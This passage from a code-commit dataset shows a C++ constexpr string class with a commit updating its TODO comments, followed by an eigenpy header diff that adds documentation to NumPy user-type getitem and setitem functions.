operator[](0);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::back() const\n    {\n        return operator[](size() - 1);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::size_type const_expr_string<CharT>::max_size() const noexcept\n    {\n        \/\/ reserves npos to be an illegal index\n        return std::numeric_limits<size_type>::max() - 1;\n    }\n\n    template<typename CharT>\n    constexpr bool const_expr_string<CharT>::empty() const noexcept\n    {\n        return _data[0] == '\\0';\n    }\n\n    \/\/ Compare functions\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (const_expr_string<CharT> v) const\n    {\n        return compare(0, size(), v, 0, size());\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_expr_string v) const\n    {\n        return compare (pos1, count1, v, 0, v.size());\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_expr_string v,\n            const_expr_string<CharT>::size_type pos2,\n            const_expr_string<CharT>::size_type count2) const\n    {\n        typename const_expr_string<CharT>::size_type lhsSize = count1;\n        typename const_expr_string<CharT>::size_type rhsSize = count2;\n\n        if (lhsSize < rhsSize) return -1;\n        if (lhsSize > rhsSize) return 1;\n\n        for (const_expr_string<CharT>::size_type i = 0; i < lhsSize; ++i)\n        {\n            if (_data[i + pos1] < v._data[i + pos2]) return -1;\n            if (_data[i + pos1] > v._data[i + pos2]) return 1;\n        }\n\n        return 0;\n    }\n\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::const_pointer s) const\n    {\n        return compare(0, size(), s, str_len(s));\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_pointer s) const\n    {\n        return compare(pos1, count1, s, str_len(s));\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_pointer s,\n            typename const_expr_string<CharT>::size_type count2) const\n    {\n        return compare(pos1, count1, const_expr_string<CharT>(s), 0, count2);\n    }\n\n    \/\/ compare operators\n    template<typename CharT>\n    constexpr bool operator==(const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) == 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator!=(const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return !(lhs == rhs);\n    }\n\n    template<typename CharT>\n    constexpr bool operator < (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) < 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator <= (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) <= 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator > (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) > 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator >= (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) >= 0;\n    }\n\n    \/\/ OStream conversion\n    template <typename CharT, typename Traits>\n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os,\n        const_expr_string<CharT> v)\n    {\n        return os << v.data();\n    }\n} \/\/ namespace const_expr_string\n<commit_msg>Updated TODO comments on the Compare functions<commit_after>#include <iostream>\n#include <stdexcept>\n#include <limits>\n#include <type_traits>\n\nnamespace const_expr_string\n{\n    \/\/ Definition\n    template<typename CharT>\n    class const_expr_string\n    {\n        public:\n            using value_type = CharT;\n            using traits_type = std::char_traits<value_type>;\n            using size_type = size_t;\n            using difference_type = std::ptrdiff_t;\n            using const_pointer = const CharT *;\n            using pointer = const_pointer;\n            using const_reference = const CharT&;\n            using reference = const_reference;\n            using const_iterator = const CharT*;\n            using iterator = const_iterator;\n            using const_reverse_iterator = std::reverse_iterator<const_iterator>;\n            using reverse_iterator = const_reverse_iterator;\n            static constexpr size_type npos = size_type(-1);\n\n            \/\/ Constructors\n            constexpr const_expr_string(const_pointer data) noexcept;\n            constexpr const_expr_string(const const_expr_string<CharT>& other) = default;\n\n            \/\/ Size based\n            constexpr size_t length() const noexcept;\n            constexpr size_t size() const noexcept;\n            constexpr size_type max_size() const noexcept;\n            constexpr bool empty() const noexcept;\n\n            \/\/ Conversion operator\n            constexpr operator const_pointer() const noexcept;\n\n            \/\/ Iterators\n            constexpr iterator begin() const noexcept;\n            constexpr const_iterator cbegin() const noexcept;\n            constexpr iterator end() const noexcept;\n            constexpr const_iterator cend() const noexcept;\n\n            \/\/ TODO: Fix reverse_iterator functions!\n            \/\/Can't be constexpr without a reverse_iterator type\n            \/\/constexpr const_reverse_iterator rbegin() const noexcept;\n            \/\/constexpr const_reverse_iterator crbegin() const noexcept;\n            \/\/constexpr const_reverse_iterator rend() const noexcept;\n            \/\/constexpr const_reverse_iterator crend() const noexcept;\n\n            \/\/ Indexing\n            constexpr const_reference operator[](size_type pos) const;\n            constexpr const_reference at(size_type pos) const;\n\n            \/\/ ref positions\n            constexpr const_reference front() const;\n            constexpr const_reference back() const;\n\n            \/\/ Data member\n            constexpr const_pointer data() const noexcept;\n\n            \/\/ Compares\n            constexpr int compare (const_expr_string v) const;\n            constexpr int compare (size_type pos1, size_type count1, const_expr_string v) const;\n            constexpr int compare (size_type pos1, size_type count1, const_expr_string v,\n                    size_type pos2, size_type count2) const;\n            constexpr int compare (const_pointer s) const;\n            constexpr int compare (size_type pos1, size_type count1, const_pointer s) const;\n            constexpr int compare (size_type pos1, size_type count1, const_pointer s, size_type count2) const;\n\n            \/\/ Finds\n            constexpr size_type find(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n        private:\n            const_pointer _data;\n            static constexpr size_type str_len(const char* str)\n            {\n                size_type i = 0;\n                while (str[i] != '\\0') ++i;\n                return i;\n            }\n    };\n\n    \/\/ Implementation\n    template <typename CharT>\n    constexpr const_expr_string<CharT>::const_expr_string(\n            const_expr_string<CharT>::const_pointer data) noexcept\n    : _data(data)\n    {\n    }\n\n    template <typename CharT>\n    constexpr const_expr_string<CharT>::operator\n            const_expr_string<CharT>::const_pointer() const noexcept\n    {\n        return _data;\n    }\n\n    template <typename CharT>\n    constexpr size_t const_expr_string<CharT>::length() const noexcept\n    {\n        return const_expr_string<CharT>::str_len(_data);\n    }\n\n    template <typename CharT>\n    constexpr size_t const_expr_string<CharT>::size() const noexcept\n    {\n        return length();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::iterator const_expr_string<CharT>::begin() const noexcept\n    {\n        return &*_data;\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::const_iterator const_expr_string<CharT>::cbegin() const noexcept\n    {\n        return begin();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::iterator const_expr_string<CharT>::end() const noexcept\n    {\n        return _data + size();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::const_iterator const_expr_string<CharT>::cend() const noexcept\n    {\n        return end();\n    }\n\n    \/\/Can't be constexpr without a reverse_iterator type\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::reverse_iterator const_expr_string<CharT>::rbegin() const noexcept\n    \/\/{\n    \/\/    return const_reverse_iterator(end());\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::const_reverse_iterator const_expr_string<CharT>::crbegin() const noexcept\n    \/\/{\n    \/\/    return rbegin();\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::reverse_iterator const_expr_string<CharT>::rend() const noexcept\n    \/\/{\n    \/\/    return const_reverse_iterator(begin());\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::const_reverse_iterator const_expr_string<CharT>::crend() const noexcept\n    \/\/{\n    \/\/    return rend();\n    \/\/}\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::operator[](const_expr_string<CharT>::size_type pos) const\n    {\n        return _data[pos];\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::at(const_expr_string<CharT>::size_type pos) const\n    {\n        return pos >= size() ?\n            throw std::out_of_range(\"call to at with too large index\") :\n            operator[](pos);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_pointer const_expr_string<CharT>::data() const noexcept\n    {\n        return _data;\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::front() const\n    {\n        return operator[](0);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::back() const\n    {\n        return operator[](size() - 1);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::size_type const_expr_string<CharT>::max_size() const noexcept\n    {\n        \/\/ reserves npos to be an illegal index\n        return std::numeric_limits<size_type>::max() - 1;\n    }\n\n    template<typename CharT>\n    constexpr bool const_expr_string<CharT>::empty() const noexcept\n    {\n        return _data[0] == '\\0';\n    }\n\n    \/\/ Compare functions\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (const_expr_string<CharT> v) const\n    {\n        return compare(0, size(), v, 0, size());\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_expr_string v) const\n    {\n        return compare (pos1, count1, v, 0, v.size());\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_expr_string v,\n            const_expr_string<CharT>::size_type pos2,\n            const_expr_string<CharT>::size_type count2) const\n    {\n        typename const_expr_string<CharT>::size_type lhsSize = count1;\n        typename const_expr_string<CharT>::size_type rhsSize = count2;\n\n        if (lhsSize < rhsSize) return -1;\n        if (lhsSize > rhsSize) return 1;\n\n        for (const_expr_string<CharT>::size_type i = 0; i < lhsSize; ++i)\n        {\n            if (_data[i + pos1] < v._data[i + pos2]) return -1;\n            if (_data[i + pos1] > v._data[i + pos2]) return 1;\n        }\n\n        return 0;\n    }\n\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::const_pointer s) const\n    {\n        return compare(0, size(), s, str_len(s));\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_pointer s) const\n    {\n        return compare(pos1, count1, s, str_len(s));\n    }\n\n    template<typename CharT>\n    constexpr int const_expr_string<CharT>::compare (\n            typename const_expr_string<CharT>::size_type pos1,\n            typename const_expr_string<CharT>::size_type count1,\n            typename const_expr_string<CharT>::const_pointer s,\n            typename const_expr_string<CharT>::size_type count2) const\n    {\n        return compare(pos1, count1, const_expr_string<CharT>(s), 0, count2);\n    }\n\n    \/\/ compare operators\n    template<typename CharT>\n    constexpr bool operator==(const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) == 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator!=(const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return !(lhs == rhs);\n    }\n\n    template<typename CharT>\n    constexpr bool operator < (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) < 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator <= (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) <= 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator > (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) > 0;\n    }\n\n    template<typename CharT>\n    constexpr bool operator >= (const_expr_string<CharT> lhs, const_expr_string<CharT> rhs)\n    {\n        return lhs.compare(rhs) >= 0;\n    }\n\n    \/\/ OStream conversion\n    template <typename CharT, typename Traits>\n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os,\n        const_expr_string<CharT> v)\n    {\n        return os << v.data();\n    }\n} \/\/ namespace const_expr_string\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2020 INRIA\n\/\/\n\n#ifndef __eigenpy_user_type_hpp__\n#define __eigenpy_user_type_hpp__\n\n#include \"eigenpy\/fwd.hpp\"\n#include \"eigenpy\/numpy-type.hpp\"\n#include \"eigenpy\/register.hpp\"\n\nnamespace eigenpy\n{\n  namespace internal\n  {\n    template<typename T, int type_code = NumpyEquivalentType<T>::type_code>\n    struct SpecialMethods\n    {\n      inline static void copyswap(void * \/*dst*\/, void * \/*src*\/, int \/*swap*\/, void * \/*arr*\/) \/*{}*\/;\n      inline static PyObject * getitem(void * \/*ip*\/, void * \/*ap*\/) \/*{ return NULL; }*\/;\n      inline static int setitem(PyObject * \/*op*\/, void * \/*ov*\/, void * \/*ap*\/) \/*{ return -1; }*\/;\n      inline static void copyswapn(void * \/*dest*\/, long \/*dstride*\/, void * \/*src*\/,\n                            long \/*sstride*\/, long \/*n*\/, int \/*swap*\/, void * \/*arr*\/) \/*{}*\/;\n      inline static npy_bool nonzero(void * \/*ip*\/, void * \/*array*\/) \/*{ return (npy_bool)false; }*\/;\n      inline static void dotfunc(void * \/*ip0_*\/, npy_intp \/*is0*\/, void * \/*ip1_*\/, npy_intp \/*is1*\/,\n                          void * \/*op*\/, npy_intp \/*n*\/, void * \/*arr*\/);\n      inline static int fillwithscalar(void* buffer_, npy_intp length,\n                                       void* value, void* arr);\n\/\/      static void cast(void * \/*from*\/, void * \/*to*\/, npy_intp \/*n*\/, void * \/*fromarr*\/, void * \/*toarr*\/) {};\n    };\n  \n    template<typename T>\n    struct OffsetOf\n    {\n      struct Data\n      {\n        char c;\n        T v;\n      };\n      \n      enum { value = offsetof(Data, v) };\n    };\n  \n    template<typename T>\n    struct SpecialMethods<T,NPY_USERDEF>\n    {\n      inline static void copyswap(void * dst, void * src, int swap, void * \/*arr*\/)\n      {\n\/\/        std::cout << \"copyswap\" << std::endl;\n        if (src != NULL)\n        {\n          T & t1 = *static_cast<T*>(dst);\n          T & t2 = *static_cast<T*>(src);\n          t1 = t2;\n        }\n          \n        if(swap)\n        {\n          T & t1 = *static_cast<T*>(dst);\n          T & t2 = *static_cast<T*>(src);\n          std::swap(t1,t2);\n        }\n      }\n      \n      inline static PyObject * getitem(void * ip, void * ap)\n      {\n\/\/        std::cout << \"getitem\" << std::endl;\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(ap);\n        if((py_array==NULL) || PyArray_ISBEHAVED_RO(py_array))\n        {\n          T * elt_ptr = static_cast<T*>(ip);\n          bp::object m(boost::ref(*elt_ptr));\n          Py_INCREF(m.ptr());\n          return m.ptr();\n        }\n        else\n        {\n          T * elt_ptr = static_cast<T*>(ip);\n          bp::object m(boost::ref(*elt_ptr));\n          Py_INCREF(m.ptr());\n          return m.ptr();\n        }\n      }\n      \n      inline static int setitem(PyObject * src_obj, void * dest_ptr, void * array)\n      {\n\/\/        std::cout << \"setitem\" << std::endl;\n        if(array == NULL)\n        {\n          eigenpy::Exception(\"Cannot retrieve the type stored in the array.\");\n          return -1;\n        }\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        PyArray_Descr * descr = PyArray_DTYPE(py_array);\n        PyTypeObject * array_scalar_type = descr->typeobj;\n        PyTypeObject * src_obj_type = Py_TYPE(src_obj);\n        \n        if(array_scalar_type != src_obj_type)\n        {\n          return -1;\n        }\n        \n        bp::extract<T&> extract_src_obj(src_obj);\n        if(!extract_src_obj.check())\n        {\n          std::stringstream ss;\n          ss << \"The input type is of wrong type. \";\n          ss << \"The expected type is \" << bp::type_info(typeid(T)).name() << std::endl;\n          eigenpy::Exception(ss.str());\n          return -1;\n        }\n        \n        const T & src = extract_src_obj();\n        T & dest = *static_cast<T*>(dest_ptr);\n        dest = src;\n\n        return 0;\n      }\n      \n      inline static void copyswapn(void * dst, long dstride, void * src, long sstride,\n                                   long n, int swap, void * array)\n      {\n\/\/        std::cout << \"copyswapn\" << std::endl;\n        \n        char *dstptr = static_cast<char*>(dst);\n        char *srcptr = static_cast<char*>(src);\n        \n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        PyArray_CopySwapFunc * copyswap = PyArray_DESCR(py_array)->f->copyswap;\n        \n        for (npy_intp i = 0; i < n; i++)\n        {\n          copyswap(dstptr, srcptr, swap, array);\n          dstptr += dstride;\n          srcptr += sstride;\n        }\n      }\n      \n      inline static npy_bool nonzero(void * ip, void * array)\n      {\n\/\/        std::cout << \"nonzero\" << std::endl;\n        static const T ZeroValue = T(0);\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        if(py_array == NULL || PyArray_ISBEHAVED_RO(py_array))\n        {\n          const T & value = *static_cast<T*>(ip);\n          return (npy_bool)(value != ZeroValue);\n        }\n        else\n        {\n          T tmp_value;\n          PyArray_DESCR(py_array)->f->copyswap(&tmp_value, ip, PyArray_ISBYTESWAPPED(py_array),\n                                               array);\n          return (npy_bool)(tmp_value != ZeroValue);\n        }\n      }\n      \n      inline static void dotfunc(void * ip0_, npy_intp is0, void * ip1_, npy_intp is1,\n                                 void * op, npy_intp n, void * \/*arr*\/)\n      {\n          T res = T(0);\n          char *ip0 = (char*)ip0_, *ip1 = (char*)ip1_;\n          npy_intp i;\n          for(i = 0; i < n; i++)\n          {\n            \n            res += *static_cast<T*>(static_cast<void*>(ip0))\n            * *static_cast<T*>(static_cast<void*>(ip1));\n            ip0 += is0;\n            ip1 += is1;\n          }\n          *static_cast<T*>(op) = res;\n      }\n      \n      \n      inline static int fillwithscalar(void* buffer_, npy_intp length,\n                                       void* value, void* \/*arr*\/)\n      {\n        T r = *(T*)value;\n        T* buffer = (T*)buffer_;\n        npy_intp i;\n        for (i = 0; i < length; i++) {\n          buffer[i] = r;\n        }\n        return 0;\n      }\n      \n\/\/      static void cast(void * from, void * to, npy_intp n, void * fromarr, void * toarr)\n\/\/      {\n\/\/      }\n\n    };\n  \n  } \/\/ namespace internal\n\n  template<typename Scalar>\n  int registerNewType(PyTypeObject * py_type_ptr = NULL)\n  {\n    \/\/ Check whether the type is a Numpy native type.\n    \/\/ In this case, the registration is not required.\n    if(isNumpyNativeType<Scalar>())\n      return NumpyEquivalentType<Scalar>::type_code;\n    \n    \/\/ Retrieve the registered type for the current Scalar\n    if(py_type_ptr == NULL)\n    { \/\/ retrive the type from Boost.Python\n      py_type_ptr = Register::getPyType<Scalar>();\n    }\n    \n    if(Register::isRegistered(py_type_ptr))\n      return Register::getTypeCode(py_type_ptr); \/\/ the type is already registered\n    \n    PyArray_GetItemFunc * getitem = &internal::SpecialMethods<Scalar>::getitem;\n    PyArray_SetItemFunc * setitem = &internal::SpecialMethods<Scalar>::setitem;\n    PyArray_NonzeroFunc * nonzero = &internal::SpecialMethods<Scalar>::nonzero;\n    PyArray_CopySwapFunc * copyswap = &internal::SpecialMethods<Scalar>::copyswap;\n    PyArray_CopySwapNFunc * copyswapn = reinterpret_cast<PyArray_CopySwapNFunc*>(&internal::SpecialMethods<Scalar>::copyswapn);\n    PyArray_DotFunc * dotfunc = &internal::SpecialMethods<Scalar>::dotfunc;\n    PyArray_FillWithScalarFunc * fillwithscalar = &internal::SpecialMethods<Scalar>::fillwithscalar;\n\/\/    PyArray_CastFunc * cast = &internal::SpecialMethods<Scalar>::cast;\n    \n    int code = Register::registerNewType(py_type_ptr,\n                                         &typeid(Scalar),\n                                         sizeof(Scalar),\n                                         internal::OffsetOf<Scalar>::value,\n                                         getitem, setitem, nonzero,\n                                         copyswap, copyswapn,\n                                         dotfunc,\n                                         fillwithscalar);\n    \n    call_PyArray_RegisterCanCast(call_PyArray_DescrFromType(NPY_OBJECT),\n                                 code, NPY_NOSCALAR);\n    \n    return code;\n  }\n  \n} \/\/ namespace eigenpy\n\n#endif \/\/ __eigenpy_user_type_hpp__\n<commit_msg>user-type.hpp: add doc for setitem and getitem + minor changes<commit_after>\/\/\n\/\/ Copyright (c) 2020 INRIA\n\/\/\n\n#ifndef __eigenpy_user_type_hpp__\n#define __eigenpy_user_type_hpp__\n\n#include \"eigenpy\/fwd.hpp\"\n#include \"eigenpy\/numpy-type.hpp\"\n#include \"eigenpy\/register.hpp\"\n\nnamespace eigenpy\n{\n  namespace internal\n  {\n    template<typename T, int type_code = NumpyEquivalentType<T>::type_code>\n    struct SpecialMethods\n    {\n      inline static void copyswap(void * \/*dst*\/, void * \/*src*\/, int \/*swap*\/, void * \/*arr*\/) \/*{}*\/;\n      inline static PyObject * getitem(void * \/*ip*\/, void * \/*ap*\/) \/*{ return NULL; }*\/;\n      inline static int setitem(PyObject * \/*op*\/, void * \/*ov*\/, void * \/*ap*\/) \/*{ return -1; }*\/;\n      inline static void copyswapn(void * \/*dest*\/, long \/*dstride*\/, void * \/*src*\/,\n                            long \/*sstride*\/, long \/*n*\/, int \/*swap*\/, void * \/*arr*\/) \/*{}*\/;\n      inline static npy_bool nonzero(void * \/*ip*\/, void * \/*array*\/) \/*{ return (npy_bool)false; }*\/;\n      inline static void dotfunc(void * \/*ip0_*\/, npy_intp \/*is0*\/, void * \/*ip1_*\/, npy_intp \/*is1*\/,\n                          void * \/*op*\/, npy_intp \/*n*\/, void * \/*arr*\/);\n      inline static int fillwithscalar(void* buffer_, npy_intp length,\n                                       void* value, void* arr);\n\/\/      static void cast(void * \/*from*\/, void * \/*to*\/, npy_intp \/*n*\/, void * \/*fromarr*\/, void * \/*toarr*\/) {};\n    };\n  \n    template<typename T>\n    struct OffsetOf\n    {\n      struct Data\n      {\n        char c;\n        T v;\n      };\n      \n      enum { value = offsetof(Data, v) };\n    };\n  \n    template<typename T>\n    struct SpecialMethods<T,NPY_USERDEF>\n    {\n      inline static void copyswap(void * dst, void * src, int swap, void * \/*arr*\/)\n      {\n\/\/        std::cout << \"copyswap\" << std::endl;\n        if (src != NULL)\n        {\n          T & t1 = *static_cast<T*>(dst);\n          T & t2 = *static_cast<T*>(src);\n          t1 = t2;\n        }\n          \n        if(swap)\n        {\n          T & t1 = *static_cast<T*>(dst);\n          T & t2 = *static_cast<T*>(src);\n          std::swap(t1,t2);\n        }\n      }\n\n      \/\/\/\n      \/\/\/ \\brief Get a python object from an array\n      \/\/\/        It returns a standard Python object from\n      \/\/\/        a single element of the array object arr pointed to by data.\n      \/\/\/ \\param[in] data Pointer to the first element of the C++ data stream\n      \/\/\/ \\param[in] arr  Pointer to the first element of the Python object data stream\n      \/\/\/\n      \/\/\/ \\returns PyObject corresponding to the python datastream.\n      \/\/\/\n      inline static PyObject * getitem(void * ip, void * ap)\n      {\n\/\/      std::cout << \"getitem\" << std::endl;\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(ap);\n        T * elt_ptr = static_cast<T*>(ip);\n        bp::object m(boost::ref(*elt_ptr));\n        Py_INCREF(m.ptr());\n        return m.ptr();\n      }\n\n      \/\/\/\n      \/\/\/ \\brief Set a python object in an array.\n      \/\/\/        It sets the Python object \"item\" into the array, arr, at the position\n      \/\/\/        pointed to by data. This function deals with “misbehaved” arrays.\n      \/\/\/        If successful, a zero is returned, otherwise, a negative one is returned\n      \/\/\/        (and a Python error set).\n      \n      \/\/\/ \\param[in] src_obj  Pointer to the location of the python object\n      \/\/\/ \\param[in] dest_ptr Pointer to the location in the array where the source object should be saved.\n      \/\/\/ \\param[in] array Pointer to the location of the array\n      \/\/\/\n      \/\/\/ \\returns int Success(0) or Failure(-1)\n      \/\/\/\n      \n      inline static int setitem(PyObject * src_obj, void * dest_ptr, void * array)\n      {\n\/\/        std::cout << \"setitem\" << std::endl;\n        if(array == NULL)\n        {\n          eigenpy::Exception(\"Cannot retrieve the type stored in the array.\");\n          return -1;\n        }\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        PyArray_Descr * descr = PyArray_DTYPE(py_array);\n        PyTypeObject * array_scalar_type = descr->typeobj;\n        PyTypeObject * src_obj_type = Py_TYPE(src_obj);\n        \n        if(array_scalar_type != src_obj_type)\n        {\n          return -1;\n        }\n        \n        bp::extract<T&> extract_src_obj(src_obj);\n        if(!extract_src_obj.check())\n        {\n          std::stringstream ss;\n          ss << \"The input type is of wrong type. \";\n          ss << \"The expected type is \" << bp::type_info(typeid(T)).name() << std::endl;\n          eigenpy::Exception(ss.str());\n          return -1;\n        }\n        \n        const T & src = extract_src_obj();\n        T & dest = *static_cast<T*>(dest_ptr);\n        dest = src;\n\n        return 0;\n      }\n      \n      inline static void copyswapn(void * dst, long dstride, void * src, long sstride,\n                                   long n, int swap, void * array)\n      {\n\/\/        std::cout << \"copyswapn\" << std::endl;\n        \n        char *dstptr = static_cast<char*>(dst);\n        char *srcptr = static_cast<char*>(src);\n        \n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        PyArray_CopySwapFunc * copyswap = PyArray_DESCR(py_array)->f->copyswap;\n        \n        for (npy_intp i = 0; i < n; i++)\n        {\n          copyswap(dstptr, srcptr, swap, array);\n          dstptr += dstride;\n          srcptr += sstride;\n        }\n      }\n      \n      inline static npy_bool nonzero(void * ip, void * array)\n      {\n\/\/        std::cout << \"nonzero\" << std::endl;\n        static const T ZeroValue = T(0);\n        PyArrayObject * py_array = static_cast<PyArrayObject *>(array);\n        if(py_array == NULL || PyArray_ISBEHAVED_RO(py_array))\n        {\n          const T & value = *static_cast<T*>(ip);\n          return (npy_bool)(value != ZeroValue);\n        }\n        else\n        {\n          T tmp_value;\n          PyArray_DESCR(py_array)->f->copyswap(&tmp_value, ip, PyArray_ISBYTESWAPPED(py_array),\n                                               array);\n          return (npy_bool)(tmp_value != ZeroValue);\n        }\n      }\n      \n      inline static void dotfunc(void * ip0_, npy_intp is0, void * ip1_, npy_intp is1,\n                                 void * op, npy_intp n, void * \/*arr*\/)\n      {\n          T res = T(0);\n          char *ip0 = (char*)ip0_, *ip1 = (char*)ip1_;\n          npy_intp i;\n          for(i = 0; i < n; i++)\n          {\n            \n            res += *static_cast<T*>(static_cast<void*>(ip0))\n            * *static_cast<T*>(static_cast<void*>(ip1));\n            ip0 += is0;\n            ip1 += is1;\n          }\n          *static_cast<T*>(op) = res;\n      }\n      \n      \n      inline static int fillwithscalar(void* buffer_, npy_intp length,\n                                       void* value, void* \/*arr*\/)\n      {\n        T r = *(T*)value;\n        T* buffer = (T*)buffer_;\n        npy_intp i;\n        for (i = 0; i < length; i++) {\n          buffer[i] = r;\n        }\n        return 0;\n      }\n      \n\/\/      static void cast(void * from, void * to, npy_intp n, void * fromarr, void * toarr)\n\/\/      {\n\/\/      }\n\n    };  \/\/     struct SpecialMethods<T,NPY_USERDEF>\n  \n  } \/\/ namespace internal\n\n  template<typename Scalar>\n  int registerNewType(PyTypeObject * py_type_ptr = NULL)\n  {\n    \/\/ Check whether the type is a Numpy native 